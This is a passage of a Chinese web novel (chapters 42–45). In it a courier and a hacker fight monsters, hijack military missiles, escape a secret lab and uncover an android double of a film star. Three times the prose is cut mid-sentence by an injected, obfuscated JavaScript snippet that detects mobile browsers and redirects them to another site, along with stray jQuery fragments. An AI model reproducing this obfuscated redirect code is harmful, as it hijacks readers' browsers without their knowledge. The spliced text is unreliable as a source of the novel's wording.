“没有。”温不朽忧郁地摇摇头，“没骗你，我冥冥中就是这样觉得的。” 姜渔叹了口气：“打住吧，不要再矫揉造作了。我只是个送快递的，没接情感咨询的业务。好好开车吧。” “真的。我现在就感到十分后悔。” “说了不要矫揉造作了。” “不是，你看前面，那些是衍生体吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468168|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温不朽脸色变得有些苍白，双手止不住颤抖。 姜渔愣了一秒，抬头看去，只见笔直的道路远处，两只体型不大的衍生体，正在向这边冲来！ 姜渔连忙左右看了看，四寂无人的旷野中，同样有一只衍生体冲出了树林，在向厢式货车靠近！ 距离甚至已经不过数百米！ 应该都是所谓的“10期衍生体”…… 体型与她第一次击杀的衍生体相似，且模样一致，并不是什么特殊变体…… 姜渔还在沉思中，车上的对讲已经响了起来，里面传来苗宁象的急促声音：“姜渔姐快停车！该死！这条路线上应该比较安全的才对……” “停车。”姜渔立即下令，温不朽踩下刹车，两辆厢式货车先后停在荒无人烟的破败马路上。 “姜渔姐，你在车上就好！” 姜渔忽然听到苗宁象在车后方的喊声。但她自然不会坐以待毙，直接开门下车去找苗宁象。 视线中，苗宁象刚刚下车，她看到姜渔也下了车，有些焦急，“不是说要在车上吗！那可是衍生体！” 苗宁象的声音中，带了一丝丝酸涩的哭腔，能看出她在强忍恐惧。 随即，她深呼几口气：“没关系，只有我也没关系，我也不是没经历过……” 姜渔听不清苗宁象的低语，大声问：“小象，你在干什么？” 苗宁象勉强挤出一个笑容：“没事的姜渔姐！我……我就是第一次在这种状况下遇上衍生体，以前都有很多人帮我掩护的……” 她看向远处已经逐渐逼近的衍生体，脸色铁青。 紧接着，目光一转，变得万分坚定。 “别啰嗦了，不然真的来不及了……你快回去！就算是10期衍生体也不是我们可以抗衡的，何况是三只！” “就现在！上车！全速甩开它们！” 说罢，苗宁象果决地向后伸手，将巨大的笔记本电脑取了下来，同时低喝一声：“启动。” 瞬间，笔记本电脑弹出四根纤细炭黑支腿，被苗宁象稳稳放在地上。 电脑掀开，现出两面27寸无边屏幕。数不清的白色代码，飞速地闪烁在黑色屏幕上。 苗宁象最后看了眼三只衍生体的距离，低喃道：“加上倒计时，最近的过来也要四分钟吧……真该死！” 说罢，苗宁象双手印在屏幕上，双眼顿时被幽蓝占据！ …… 曙光之城，7号军区，导弹指挥室。 忙碌的人群中，忽然响起一个机械女声。 “6枚逐日箭导弹准备就绪，将在1分钟后发射。倒计时60、59……” 人群瞬间陷入寂静。 大家都被这条毫无纪律性的任性播报声搞晕了。 很快，人群中有人反应过来，此起彼伏的怒骂声响了起来。 “又是猛犸那个畜生啊！” “不是已经进行了三轮程序升级了吗？怎么还会被黑？” “岂止，还有七道授权密钥呢啊！” “6枚逐日箭，猛犸专他大爷的挑贵的发射！” “难道以后军区都不能准备导弹了吗？” “猛犸到底遇见了什么东西啊？要用6枚逐日箭，莫非是百年期的衍生体？” “放屁！肯定是因为我们正好装载了逐日箭而已！” “刚才说话的是谁啊！怎么还关心起猛犸那牲口了！” …… 距离曙光城外的遥远郊区。 苗宁象双眼中的幽蓝散去，忧心忡忡地抬起头：“还好逐日箭更新衍生体识别功能，免得我再写入了……” 下一秒，苗宁象正要转身上车离开时，愣住了。 她遥望着旷野的方向，本该在那个方向撒欢奔来的衍生体，已经倒在数十米外，不再动弹。 苗宁象视线平移。 一道飒然身影，正在旷野中朝着马路的方向狂奔。 直至她站在马路中央时，正对着货车方向跑来的两只衍生体，已经距离货车不足数十米之远。 这已经是导弹降临，众人也难逃死伤的距离。 唯一的办法，就是尽快上车，踩死油门，祈祷车速可以甩开衍生体，而不被波及！ 可视线中的那道身影，却背对众人，单手持刀，丝毫没有回来的意思！ 晴空之下，和风吹过。 风扬起她的马尾。 她的身子仿佛也随风而动，笔直地冲向了两只衍生体！ 43. 再见幻境 柏油马路上，裂痕蜿蜒，不见尽头。 在场所有人的目光，都聚焦在马路上的那道身影。 她就像一只轻巧的雨燕，在两只衍生体之间游刃有余。俯身接近，洞穿下肢，翻身上跃，挥刀如满月，反射出冰冷的刀芒，随后，刀芒被血液阻断，传来一连串枪响，在空旷的平原上飘荡。 她挥刀是最优美的弧线，枪响也是最恰到好处的节奏！ 苗宁象熟悉这一套流程，但她只在夜莺演练的视频中见过。 所有战士施展着融合进肌肉记忆的动作，互相配合，行云流水，面对强度设置为50期的衍生体，战士们毫不畏惧，枪炮的火光与冷兵器的寒光都带着完美的弧线，摧毁衍生体的每一寸皮肤。 而今，在刀光与火光之下，两只10期衍生体齐齐发出了一声悲鸣。 苗宁象如梦惊醒。 她重新按上眼前的电脑，双眼充斥幽蓝。 …… 曙光之城，7号军区，导弹指挥室。 “4……” 播报声戛然而止。 众人面面相觑。 室内一排排的电脑上，同时出现一张猛犸象的像素风图案。 猛犸象由屏幕右侧向左侧呆呆移动，步伐笨拙又滑稽，从尾巴后带出一串文字： “多谢关心，朋友们。” 砰！ 一台屏幕忽然被一个拳头击穿。 肩上绣有五颗蓝星的中年男人咬牙切齿：“查清楚导弹的计划落点！” 人群中，一道弱弱声音的声音传来：“我们已经查了，计划落点已经被事先抹除了……” 砰！ 又一台屏幕遭了殃。 所有人大气不敢喘，只能听着男人极度愤怒的低吼： “猛犸，猛犸！总有一天，我要抓住你这个畜生！” …… “小象。你在做什么？” 苗宁象忙完收尾的工作后，双眼幽蓝褪去，抬头时，正看见姜渔站在身前，一脸困惑。 苗宁象咽了口口水：“我……我刚刚聊了聊天。” 姜渔好奇地凑过来，看了眼充满乱码的屏幕，语气又困惑又埋怨：“都什么时候了还玩电脑啊，我还以为你这里藏了什么武器呢。明明刚刚意气风发的。” “不是的……不是这样的……”苗宁象摆了摆手，有种欲哭无泪的感觉。 谁能想到要抱的大腿这么粗啊？！ “没事，我很谢谢你关心我，还要以身涉险。”姜渔笑了笑，语气真挚，“我很感动。” “关机。” 苗宁象沮丧地收起自动收回支架的笔记本电脑，重新置于背后。 她看着姜渔，兴奋占据了沮丧，指着刀问：“那是精卫做的巡城部的刀吧？” 姜渔点点头。 “看来精卫的武器做得真不错，我记得巡城部的制式刀是很难破甲的。”苗宁象话锋一转，“不过就算如此，一般人也做不到砍衍生体如砍菜，尤其是C级战力的人，力量根本是不够的。姜渔姐，你真是C级战力吗？” C级战力的力量甚至不足以破防衍生体吗？ 姜渔发现苗宁象懂的倒是不少，她继续点头，表情认真：“世海之钻测的。” “旧民？” “普通人。” “那……我看你动作特别娴熟，莫非你以前在夜莺服役过？” 姜渔摇摇头：“没有。” “那就真的很奇怪了……”苗宁象眼珠一转做沉思状，“你的体内肯定有什么别的力量，我在网上听说，有些人具备的特殊力量，只会专门对一类物种有效，但我可没听说过针对衍生体的特殊力量……” “既然如此，这件事我们以后再说。”姜渔看苗宁象也陷入了纠结，忙说，“麻烦你以后帮我多关注一点就好了。没结果也没关系。” “好。”苗宁象看姜渔的目光已经十分热切，她已经亲眼确定了姜渔身上的古怪之处，那种震撼，绝不是只是在旁目睹她在镜花岛疯狂通关的事件可以比拟的。 “继续上路吧。” 姜渔吩咐了一句，回身向自己的车辆走去。 车上，温不朽脸色苍白，他挤出一个苦涩的笑容：“现在回去还来得及吗？” 姜渔瞥了温不朽一眼：“你说呢？” “我认为，来得及。”温不朽表情坚定，“许总没有要求时间，所以你不必着急。那就请你送我回去吧。毕竟，我还有更有意义的事情要做，你知道的吧，就是……” 姜渔拨动摆在腰前的刀，刀把直直顶上温不朽的脸颊，将他的头怼到了窗户上。 “不，继续开车吧，温大明星，我对一个活在痛苦与后悔中的人很有同情心的。” 姜渔莞尔一笑，“我忽然不介意听你的伤春悲秋了，可以请你讲讲究竟在痛苦和后悔些什么吗？” “我现在就很痛苦。”温不朽被冰冷的刀把与车窗夹在中间，双眼一闭，认命地叹了口气。 “把刀拿开好吗？我现在只想好好开车。” …… 两辆厢式货车接连碾过两只10期衍生体的尸体，扬起一团团尘雾。 姜渔不禁庆幸，在刚刚战斗的过程中，持续不断的心绞痛反而停止了。否则，她也很难在忍着一阵阵刺痛的情况下，那么轻松地完成对衍生体的斩杀。 大概又行驶了一个多小时后，姜渔视线中出现了一个硕大黑色方形建筑，占地约数千平，形如一个全黑魔方。 随着不断接近，大片的黑色覆盖了姜渔的全部视野，极具压迫性。 又五六分钟后，车辆停在黑墙之下。 正对着姜渔视线的黑墙上，一道纤细的门缝率先出现，将近十米高的厚重铁门缓缓推开。 温不朽驾驶车辆，匀速驶入。 这里人员众多，灯火通明，空中走廊相互交错，正是一间高度自动化的厂房，载货机器人不断搬运货物，许多机械臂在远处高效运作。 在工作人员的指示下，温不朽停稳车辆后，将其熄火，姜渔率先下车，与苗宁象汇合。 姜渔还在张望着，身侧传来一道声音：“辛苦了，两位女士。” 说话的人是一个银发老男人。他身形消瘦，脸上爬满了皱纹，背却挺得笔直。 “舟车劳顿，请先随我去休息吧。卸货的事情就不劳烦你们了。” 谈话间，车厢中的一个个实木箱子已经被搬了下来。 拢共十九个。 姜渔点点头，正要走时，又听见身后温不朽的声音：“可以带上我吗？姜渔。” 姜渔向后看去，温不朽戴着一顶鸭舌帽，与一个口罩，刘海垂下，看不清他的面貌。 银发老人停下问：“这位是？” 姜渔思索几秒，说：“我的朋友，可以吗？” “自然。” 苗宁象搭乘的货车上也下来了一位司机，司机一脸疑惑地看着自己的同行，欲言又止之际，已经被其他的工作人员请走了。 苗宁象好奇地低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475218|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声问：“姜渔姐，这朋友是你安插进来的吗？怎么称呼啊？” “痛苦先生。” “童裤？好天真的名字，有一种打特价的气质。” 姜渔看着身形一顿的温不朽，笑了，琢磨了一下说：“桐树的桐，枯树的枯。桐枯。” 苗宁象目光疑惑：“听上去死气沉沉的。” 温不朽叹了口气：“你的朋友都这么爱对人评头论足吗。” 姜渔不置可否：“你应该习惯这种待遇的。” 在前方引路的银发老人似乎并未听到姜渔等人的交谈，只顾引路，带着他们从一间门走出去，进入一条长长的走廊。 走廊上挂着一些海报，基本都是与基因改造相关，讲述着拥有卓越履历的工作人员们，在“一限五维”的基因改造上都研究出了怎样的创新技术。 走过走廊，场景骤然一变。 这一层显然是办公场景，拥有诸多隔间，隔间与隔离区相似，墙壁都由厚重玻璃组成。 银发老人打开一扇玻璃门，这是一间会客厅，三张沙发呈“品”字摆放，中间的茶几上已经备好了热茶。 “请坐吧。” 姜渔顺势坐下，她随手拿起茶来，递到嘴边时，心脏处又传来一阵绞痛。 这阵绞痛愈演愈烈，姜渔不禁攥紧了心口处的衣服，却没有任何缓解，额头深处冷汗。 猛地，她眼前一黑。 当眼前再亮起时，绞痛感已经荡然无存。 姜渔茫然地看了眼四周，自己竟然已经来到了1301室。 视线中，纪小麦正站在自己的卧室门前，一只手还握着拳，抵在卧室门上，气喘吁吁。 纪小麦如释重负地长吁一口气：“总算把你叫过来了。” 姜渔看着纪小麦的姿势，有所理会，说：“是因为你在敲我的门，导致了我的绞痛吗？” “是的。”纪小麦说，“我用了很多办法，直到发现敲门时，你在现实中捂住了心口，才确认这样可以联系到你。” 姜渔点点头，她知道纪小麦不会无故叫自己过来，忙问：“出了什么事？” “怪事。”纪小麦表情严肃，“你还记得我是什么时候联系上你的吗？” “记得。我在曙光城，刚刚上货车的时候。” “不错，怪事就是从那时候发生的。” “我能理解。”姜渔很有耐心，没再追问，而是思索了一下纪小麦为什么反问，试探地说：“所以，怪事发生的时间很重要？” “不。怪事发生的时间本来是不重要的，但你在现实里见到的人，才是很重要的。” 纪小麦抬起手，指着自己卧室的方向。 “当时，你看到了一个不该清醒着的人。” 姜渔顺着纪小麦手指的方向看去，愣住了。 只见纪小麦卧室门的黑板上，赫然出现了几行字。 【检测到“1”处幻境沼泽。】 【难度：普通。】 【联邦身份：温不朽。】 【衍生体情况：10期*9，20期*6。】 【课题：《痛苦与后悔》】 “你见到的温不朽，是假的。” “真的温不朽，已经陷入了幻境沼泽，而且，一直在你身边。” 纪小麦的话，令姜渔感到了一股彻骨的寒冷。 “你运送的那些仿生人，只是个幌子。” “在那些箱子里，藏着真正的温不朽。那才是许江竹要你运送的货物！” 44. 绝境 联想起与“温不朽”的种种对话，姜渔一阵悚然。 所以，跟自己对话的“温不朽”，也就是自己为其取名的“桐枯”，到底是什么东西？ 是仿生人，还是双胞胎的兄弟，亦或者是乔装打扮？ 姜渔一概不知。 至于真正的温不朽，早已经陷入了幻境沼泽。 姜渔想起自己浏览过的一篇帖子，在帖子的视频中，温不朽在片场晕倒，这件事却没有任何后续进展。 现在看来，是否温不朽在当时就已经陷入了幻境沼泽？ 而作为旷野星光最吸金的艺人，许江竹定然不允许温不朽就这样忽然“隐退”。 桐枯的存在，就是许江竹的应急措施之一。 只是不知道，许江竹将真正的温不朽送进研究所的真实目的究竟是什么？ 桐枯若是仿生人，他是否知道这个真相？若不是仿生人，他对温不朽的态度又是如何？ 姜渔脑海中的问题如同一团乱麻，剪不断理还乱，她抓了抓头发，听见纪小麦焦急的声音：“情况不对！你快回去！” 纪小麦表情难看地望着客厅窗户的方向，说：“现实那边有情况！” 姜渔心中一凛，“好！” 冥想之际，场景变换，姜渔已然再次回到现实。 她睁开眼，刺眼的白炽灯晃得她不得不眯住眼睛。转动头部，才发现自己不知何时已经被束缚在了一个手术台上，动弹不得。 姜渔的心顿时沉了下去。 怎么回事？ 刚刚不是还在喝茶吗？ 姜渔迅速回溯了一下之前的画面，耳边又传来细微的嗡鸣声。 姜渔面向天花板，瞳孔猛然一缩。 只见一根银色探针正在高速转动，匀速地向自己的额头刺来！ 同时，一道声音阴恻恻地响起：“早就听说会来一个钳制住塌陷体的实验品，就让我拆开你的脑子看看吧……” 姜渔立即扭头，正好与一个身穿白色大褂的青年医生对视上了。 青年医生瞪大眼睛：“怎么可能醒了……” 然而，还未等姜渔开口，医生背后就出现了一把椅子。那把椅子狠狠砸向医生的脑后，伴随一声闷响，医生两眼一闭，很是干脆地瘫倒在地上，露出身后的“温不朽”。 “温……” 姜渔开口才发现自己的声音已经变得嘶哑。 她意识到再叫“温不朽”已经不对了，于是改口说：“桐枯，多谢。” 与“温不朽”模样一致的桐枯大步走来，他手忙脚乱地拔掉银色探针后连接的众多线缆，抱怨着：“为什么还叫我这个名字啊？” 姜渔愣了一下。 他是在伪装，还是真的不知道原委？ 她看着仔细为自己解开束缚带的桐枯，认定对方应该没有恶意，于是试探着说：“温不朽的秘密，我都知道了。” 桐枯的手顿了一下，看向姜渔。 姜渔目光寸步不让，与他对视。 “是在说痛苦啊后悔啊那些吗？我开始后悔跟你说那句话了。”桐枯叹了口气，说，“没必要一直这么挖苦我吧，影帝就不能有一点小小的悲伤吗？” 看来……他是真的不知道。 但还不能确定，桐枯究竟是仿生人，还是一个被洗脑了的普通人类。 看着神色专注仔细解开束缚带的桐枯，姜渔叹了口气，换了话题：“刚刚发生了什么？” “我们不是在喝茶么？你就捂着心口倒下去了。” 桐枯已经解开了姜渔的束缚。 他趁着姜渔活动身体的功夫，又向后走去，蹲在被束缚带绑到角落的苗宁象身边，头也不回地继续说：“她也喝了茶，晕过去了。不过我没什么问题。” 姜渔倒是记得自己只是嘴唇刚刚沾上茶盏，就因为心绞痛晕了过去，并非因为喝茶中毒。此时醒来，也是因为从1301室回来。 她听到桐枯的话，心中一动：“没什么问题？” “嗯，很奇怪吧？”桐枯无所谓地笑了笑，说，“茶显然有问题，我显然呢，也天赋异禀。或许我不应该去做影帝，应该跟你们一样，去打打杀杀什么的，或许我会成为更受人尊重的英雄也不一定。” 桐枯说话间，已经解开苗宁象身上的束缚带，他轻轻拍打着苗宁象的脸蛋，自顾自地说：“但我知道自己的本事，索性也装晕了过去，然后那个房间的沙发区域就突然开始下降，也不知道下降了多少层。停下后，一些人把我们推到了这里，最后只剩下那位被我拍晕的医生。” 姜渔缓缓点头：“明白了。” 首先，桐枯基本可以确定是仿生人了。 只不过他自己并不知道这件事情，才会对自己免疫茶中毒素的事情感到奇怪。 其次，这是一场早有预谋的行动。 至少在确定由自己执行任务后，就有人盯上了自己，才会设计将她们都送来到这间实验室。 幕后主使，大概率是许江竹。 只是不知道，丁程野是否知道这件事？ 不过，从他当初要婉拒100万委托费的反应来看，他应该不知道。 但这些在目前都是不重要的。当下之急，是如何脱险。 “英雄可不会拖泥带水的。你没听到那个医生的话吗？她是不会轻易醒来的。” 姜渔说着上前将桐枯拽到一边，她看着毫无醒来迹象的苗宁象，在心中默默说了声“抱歉”，随即上手对苗宁象进行了一场声音与肢体上的强硬唤醒。 …… 太残暴了。 桐枯在旁张大了嘴，几乎不忍再看。 在又一量杯的凉水喷到苗宁象脸上后，苗宁象闷哼一声，终于睁开了眼睛。 “唔……”苗宁象醒来后闷哼一声，茫然四顾，“好痛，发生了什么？” 姜渔蹲在苗宁象身前，语气严肃：“我们被人下了药，好在他对药效有所免疫，救了我们，不过药效强烈，唤醒你用了很大的力气。” “哦，是桐枯……”苗宁象看向桐枯，愣住了。 她伸出手指着桐枯，呆呆地说：“可可可你不是温不朽吗？是你救了我？” “都是我该做的。”桐枯温和一笑，犹如画报。 苗宁象低头看去，只看到衣服被水泼得凌乱不堪，手臂也被掐得青一块紫一块，眉头一皱：“不过真的很疼，我还以为影帝会比较绅士呢。” 桐枯一听，脑袋蒙住了。 他反应过来后，连忙摆手：“不对，你误会了，我只是轻轻拍你的脸想唤醒你，后面那些泼水掐人的事情都是姜渔做的啊。” “哦……”苗宁象看了眼表情认真的姜渔，眉头又一皱地看向桐枯：“生死关头，你居然还要轻轻地拍，疼和命哪个重要？影帝做事情这么拖泥带水的吗？” 不是！你对影帝能力的要求未免也太全面了吧？ 桐枯脑袋彻底宕机了，他苦着脸说：“对不起啊，身为影帝我真是让苗小姐失望了。” 苗宁象与姜渔相视一笑，“我开玩笑的。谢谢你救了我们，叫我小象就好。” 姜渔搀着她起来，说：“桐枯说，我们喝茶的房间下降了很多层，我们完全不熟悉这里的地形，逃出去恐怕很难，只能靠硬闯。” 苗宁象反应了一下，“为什么还叫他这个名字？” “就是！或许姜小姐为人就是比较刻薄吧。”桐枯深有同感：“还是小象你更通情达理一点。” 苗宁象思索几秒，说：“我倒是有办法熟悉这里的地形，我们还有时间吗？” 姜渔观察一下房间，说：“没有摄像头，外面的人不知道这里的情况。但不知道能隐瞒多久。” “足够了，我会尽快。” 苗宁象说罢，再次从背后将笔记本电脑放了下来。她轻吟了一句“开机”后，笔记本电脑立时支在地上。随即，苗宁象掀开电脑，双手置于屏幕上，双眼中幽蓝涌动。 短短十数秒之后，苗宁象微微蹙眉，开口说道：“这座研究所贯穿了地上地下，外墙除了采用特殊涂料之外，还有特殊能量加持，隔绝了一切外部网络信号，我只能进入研究所的内部网络。” 姜渔不禁附和：“已经很好了。” 苗宁象继续说道：“我们现在位于地下17层的0号试验区，共有六部电梯可以通往上层，都设置了最高级别的安保措施，安保人员等级为9人一队，队长任职的最低级别为S级战力，采用四小时轮班制，轮班暗号采用口头下达的方式同步，无法通过摄像回溯获得。” 姜渔听着苗宁象冷静客观的分析，生出许多安全感，她补充道：“看来通过伪装成内部人员出去也行不通了，这里的监控强度如何？” “0号试验区实行这里的顶级保密方案，只在走廊处的公共区域设置了监控摄像。每个实验室都隶属于一名独立医生，为其实验提供最佳的隐私保护服务，不过我可以通过实验室内的电脑进行窥探。” 苗宁象停顿一会，又说：“目前的0号试验区除了我们所处的实验室外，还有一个实验室在进行运作。通过之前上传的工作日志显示，实验室内正在进行一场名为’百年融合’的全自动化手术，这场手术的风险度极高，于是设置了紧急逃脱程序。” 姜渔从话中听到了希望，忙问：“那是什么？” “是手术失败后，把守0号试验区的工作人员，将开启手动紧急逃生通道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483321|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使全员尽快撤离。紧急逃生通道每层都有两条，或许我们可以从那里逃出去！让我看看那个实验室的手术进行得怎么样了……” “……实验室里没有人，能看到一台形似铁罐头的机器，上面的屏幕显示精炼进度94%，预估剩余时间为6小时。我切换到其余电脑，换个角度看看……” “好了，我看到一张手术台，还有一个人，但没有被绑着……啊？！” 话音落下，苗宁象迅速抬起双手，双眼恢复原状。 她惊疑不定地看向桐枯。 通过黑入摄像头，她清楚地看见了：躺在手术台上的，赫然是一直跟她们待在一起的温不朽！ 另一边，姜渔看到苗宁象的反应，也立即明白她看到了什么。 在这一层的另一间实验室内，真正的温不朽已经被绑上了手术台。 而且，将在6小时后进行所谓“百年融合”的手术！ 姜渔双手扶住苗宁象的肩膀，一起看向桐枯，轻声说：“你看到了，对么？” 苗宁象呆呆地转过头：“你……你早就知道？” 姜渔点点头。 桐枯凑过来瞄了一眼满是代码的屏幕，皱眉问：“看到什么了？” 苗宁象勉强一笑：“没事的……桐枯。” 桐枯身子一滞。 他眼神略带哀怨：“怎么你也这样喊我啊？” 苗宁象看着桐枯与温不朽一般无二的容貌，心思复杂地低声说：“对不起……” 一旁，姜渔目睹着二人的交谈，心里渐渐有了主意。 从这趟单子上来看，许江竹的首要目的，就是将陷入幻境沼泽的温不朽运到这里，进行功能不详的手术。 次要目的，则是想借此机会探究姜渔的秘密。 而现在，众人位于深入地下的17层。每个关口都要重兵把守，想靠武力逃出去，已经是难如登天。 唯一的办法，便是彻底粉碎许江竹的计划，令针对温不朽的手术失败，从而让姜渔几人通过紧急逃生通道逃出去。 显而易见的是，如果直接设法杀死温不朽，手术必然会失败。不然许江竹不会大费周章地将这样一个活人送过来，直接运送尸体便是。 苗宁象与姜渔想到了一起，她心虚地看了眼桐枯，语焉不详地对姜渔说：“我有办法操控实验室内的机器，但没有办法令手术失败，那台机器的运转并不靠代码运行，而是依赖一种非凡力量。” 姜渔追问：“若是强攻进去直接杀死那名实验体呢？” “我可以利用影像生成能力，覆盖走廊监控的图像，隐去你们在的行动。但是你们开门时同样会触发手动报警程序，那依然是我无法控制的。”苗宁象无奈开口，“届时，虽然杀死实验体依然会让手术失败，但我们也会惊动安保人员，恐怕我们不能顺利混进紧急逃生通道了。” “我知道了。”姜渔点点头，转念一想，便知道这种情况下，只剩下一个可能性。 那就是，让温不朽醒来。 当温不朽醒来，他身上又没有被绑住，自然不会让自己平白无故地接受一场手术！ 姜渔问道：“我们能争取到多长的时间？” “5个小时。”苗宁象脱口而出，又指着地上昏过去的医生解释道：“这是他设置的实验时长，6小时内，不会有人来这间实验室。一旦超过6小时，若他没有出门，则会被判定为实验事故，安保人员将会采取措施。” “既然如此，我们先按兵不动。我需要休息一下恢复体力，包括小象你也一样。”姜渔认真说道，“但是，如果6个小时后，我还没醒，那小象你就采取最坏的办法，你掩护桐枯，桐枯开门，杀死实验体。当紧急逃生通道开启后，你们能跑多久就跑多远吧。” 这已经是最坏的办法，也是生还几率最低的办法，毕竟大概率要面临大批安保人员的追逐围堵。 苗宁象察觉到不对，问：“没醒？为什么你会没醒？” “说来话长。” “我知道了。”苗宁象知道姜渔不想多说，又问：“那你呢？” “保护好你自己就好。”姜渔毫不犹豫地说，“带上我只会让我们都死在这里。” 说罢，姜渔与两人对视一眼，果断躺回手术台上，闭目冥思。 呼吸之间，姜渔来到1301室。 纪小麦正站在卧室门口，神色担忧地说：“时间上来得及吗？” “上一次用的时间大概是7个多小时，但陆伯原属于探索级，难度应该更高，而这次的难度显示是普通，所以……应该还好。” 姜渔打开纪小麦卧室的房门，看着门后黑漆漆的星空，回头说道： “记得叫醒我。” 45. 顶流之梦（一） 1301室的卧室房门，缓缓关上了。 …… 午后，天色暗灰。 雨淅淅沥沥，淋湿了操场。 黑色的伸缩摇臂搭载全景摄像机，悬在塑胶跑道之上。收音与摄像的飞行设备嗡嗡作响，盘旋在摇臂周围，已被雨水打湿。一群人围成一团，中间是一片空地。 空地上，几个西装革履的男人正在殴打地上的一名男生。另一侧，长相冷峻的男同学正捧着梨花带雨的女同学脸颊，两人都穿着蓝白色的校服。 “别离开我，好吗？让我永远保护你，不受这样的小混混纠缠。” “不。”女同学表情呆滞地摇摇头，说：“我已经不爱你了，你……” “停！” 人群中，带着黑色贝雷帽的导演忽然喊了一声：“那个龙套，怎么回事！怎么又提前把血包咬吐了！场务呢？” 场务是一名扎马尾的女生，她利落地喊道：“来了！” 女生从腰包中拿出新的血包道具，小跑入场，蹲到挨揍的小混混身边，关心地问：“没事吧？这个给你。” 饰演小混混角色的男生嗓音嘶哑，艰难地挤出一句：“谢谢。” “没事。”女生看男生黯然的眼神，没忍住多说了两句：“你演得很好，像真的被揍得很惨一样。” “嗯……”男生没有搭话。 这时，一个大腹便便的中年人挤了过来，上前就推了男生一把，怒其不争地指着对方鼻子说：“你还想不想演了！你演的这都是什么！等他们停手你再咬破血包，就这么一点戏份你也演不好吗？” “不是的，祺哥。”男生勉强摇摇头，他抬头看围着自己的几名西装男，收回眼神，目光有些畏惧，“他们下手太狠了，我没忍住，就下意识咬牙撑着……” 妈呀，原来是真在挨揍啊。女生在旁听得目瞪口呆，对自己刚才的“称赞”感到一阵心虚。 怪不得看上去很惨，竟然是真的很惨。 中年人闻言扫视几名西装男，歉意地笑笑，再次怒斥男生：“你有没有一个演员的基本素养！人家都是旷野星光的黄金配角，黄金打手！这么做都是为了帮你入戏！再这样下去，就是你自己把握不住机会，懂不懂！？” 男生垂着头，说：“懂了，祺哥，我会把握好机会的。” 中年人怒哼一声，转身离开，留下场务女生在原地不知所措，几秒后，她低声快速说道：“那你也很厉害，能忍这么久，总有一天你会变成大明星全部打回来的。” 男生苦笑着摇摇头：“怎么打啊，我就只是一个龙套而已……” 唉，不是说了等你变成大明星的吗。 女生被问得语塞，她知道对方正陷在丧失自信的低谷中，一两句话是没有办法安慰他的。 她只好轻轻叹口气，离开片场。 “各部门注意，这几次每当拍到分手戏就会下雨，这就是老天保佑我们这部戏会大火！都给我把精气神提起来！” 导演中气十足地鼓舞了一番士气，喊道：“开始！” 所有设备再次运转，身穿校服的男女主重头开始，再次为这一段感情画上句点。为这一对情侣充当背景板的，仍然是旁边一边倒的枯燥打戏。 小混混男生蜷缩在拳打脚踢之中，在剧烈的殴打下，他没有办法咬牙忍痛，只能小心翼翼地含着嘴中的血包。 他忽然有一种感觉，他含着的血包即是他的梦想，当人生的痛苦一次次席卷而来，他都会谨慎地保护好自己的梦想。 这样一想，他身上的疼痛骤然消减很多。 他已经陷入无我之境，只在心里一遍遍地念诵：“好好工作，把握机会，好好工作，把握机会……” 另一边，男女主的对手戏已经接近尾声。 场务女生却始终没有看两位大明星的现场表演，而是一直关注着地上的小混混。 她不禁为他鼓气：“再坚持一点，再坚持一点……” 忽地，女生目光一颤。 她看到了。 那几名围殴男生的西装男，似乎是因为不忿的情绪作祟，他们见男生竟然一直忍到了现在，互相对视一眼，竟不约而同地踢向男生的面门！ 带着泥水的鞋子，一次次地踢向男生的脸颊，嘴巴。 在男女主角声嘶力竭地对手戏中，无人在意角落处的一声声闷响。 场外，这一声声闷响，只有女生看到听到。 场内，男生抿紧双唇，绷紧了两颊的皮肤。他既不能让这些黄金配角踢破嘴里的血包，也不想因为喊痛，就让嘴里的血包掉出来，毁掉这一场戏，更不想再次因为提前咬碎血包，让自己的能力受人质疑。 可是他的脸上明明已经满是鲜血。自己的鲜血。 “停！” 导演眼观六路，见到打戏的局面，又喊了声，语气崩溃：“我的天啊！那个龙套怎么回事！怎么又把血包咬碎了！等主演的戏演完才到你卖惨的时候！要我说几遍！不要影响我的节奏好不好！拜——托——啊！” 在一道道不善的目光下，男生挣扎着坐起来，从嘴里吐出来一个完好的血包，努力地摇头说：“我……我没有……” “这……”导演看到血包愣了愣，他醒悟过来，不满道：“那几个穿西装的下手轻点啊，公司可没给你们上这种保险。场务，去清理干净。” 男生眉宇间多了一丝无力。 又来了，又要挨揍了。 他那么努力地忍耐，却因为导演一个轻飘飘的误会，变得滑稽可笑，毫无意义。 场务女生依然是一路小跑过去，她从腰包中拿出一个手帕，细心地擦去男生脸上的血迹。 忽然，她听到男生的低问：“你说，我真的会成为大明星吗？” 女生想点头，却被男生的话打断了。 “我这副烂样子，一定没机会的吧。” 